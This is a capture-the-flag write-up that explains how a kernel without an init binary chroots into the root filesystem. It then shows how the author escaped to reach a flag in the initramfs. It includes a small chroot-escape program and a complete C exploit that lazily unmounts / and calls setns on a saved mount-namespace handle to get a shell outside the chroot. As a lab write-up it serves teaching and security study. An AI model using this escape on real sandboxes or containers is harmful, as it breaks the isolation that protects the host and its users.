In this challenge we are given shell access to a system and need to access the flag which is in initrd. There are lots of moving components so making sense of what exactly is happening takes some time.

We start with a Dockerfile where the kernel was compiled:

RUN mkdir /initrd
RUN mkdir /initrd/dev /initrd/root /initrd/bin

COPY --from=busybox-grab /bin/busybox /initrd/bin/

COPY src/flag /initrd/

Inside of kernel/kconfig we find

CONFIG_INITRAMFS_SOURCE="/initrd"

So the /initrd folder is copied into the kernel image and mounted when the kernel boots.

Our docker then calls socat TCP-LISTEN:1337,reuseaddr,fork EXEC:'kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/qemud /home/user/bzImage' This is more noise than important information, but confused me for a while during the challenge because we are running qemu via nsjail inside of a docker. We can ignore all of the extra layers and just focus on the image running inside of qemu.

Why no panic?

Note that there is no init binary inside of the initramfs. Why doesn’t this panic?

If we look at the kernel_init function in the kernel we can see that it first calls kernel_init_freeable(). This checks if we have a /init binary, and if not calls prepare_namespace().

prepare_namespace mounts the root filesystem with do_mount_root which does

ret = init_mount(name, "/root", fs, flags, data_page);
if (ret)
    goto out;

init_chdir("/root");

and then calls:

init_mount(".", "/", NULL, MS_MOVE, NULL);
init_chroot(".");

So, to summarize the flow - if there is no /init binary, we mount the root filesystem to /root, chdir to /root, mount –move . /, and chroot .

Escaping chroot

If not for the mount –move we would just have to escape a chroot. Escaping chroot is usually pretty easy.

Let’s say we have a folder /root that we chroot into. We can create a new chroot while keeping a reference to our root directory, and then go back up a level:

/ # mkdir /root
/ # cp -r /bin/ /usr /root
/ # chroot /root/
/ # ls
bin  usr

/ # mkdir /inner
/ # cp -r bin usr inner
/ # mychroot /inner/
sh: getcwd: No such file or directory
(unknown) # ls -l /
total 8
drwxr-xr-x    2 0        0             4096 Aug  9 12:37 bin
drwxr-xr-x    5 0        0             4096 Aug  9 12:37 usr
sh: getcwd: No such file or directory
(unknown) # cd ..
sh: getcwd: No such file or directory
(unknown) # ls
bin         etc         lost+found  root        sys         usr
dev         linuxrc     proc        sbin        tmp

Here mychroot is just a small binary I compiled since busybox’s chroot always cd’s into the chroot directory first:

int main(int argc, char* argv[]) {
    chroot(argv[1]);
    execl("/bin/sh", "/bin/sh", NULL);
}

Unfortunately, there is no way to access the original initrd filesystem because even outside of the chroot the rootfs is still mounted on /

Umount root

We can also try to umount / with umount -l /. This works, but the system ends up in a weird state where / is still the root filesystem, all other mounts are umounted (/proc, /dev), and we can no longer mount new filesystems (such as remounting /proc). We still don’t have access to the underneath filesystem because we are still inside the chroot.

Even combining this with the previous trick doesn’t work because going up a directory will never get us to the initramfs.

Solution

I was stuck here for a while until I came upon a stack overflow post with the solution.

After umounting / the root inside of our namespace (outside of the chroot) is the initrd. If we open a handle to /proc/self/ns/mnt (before we screw up the /proc mount) then we can use setns to reenter our namespace and access the root file system (effectively escaping the chroot).

Here’s the code:

#define _GNU_SOURCE

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>

int main() {
    int ns = open("/proc/self/ns/mnt", O_RDONLY);
    if (ns == -1) {
        perror("open");
        goto out;
    }

    if (umount2("/", MNT_DETACH)) {
        perror("umount2");
        goto out;
    }

    if (setns(ns, CLONE_NEWNS)) {
        perror("setns");
        goto out;
    }

    char *a[] = { "/bin/busybox", "sh", NULL };
    char *e[] = { NULL };
    execve(a[0], a, e);

    perror("execve");

out:
    return 1;
}

We upload it to the server and give it a go:

/ # chmod +x win
/ # ./win
/ # ./bin/busybox ls
bin   dev   flag  root
/ # ./bin/busybox cat flag
uiuctf{oh_I_have_root_oh_wait_its_outside_root_6da726b5}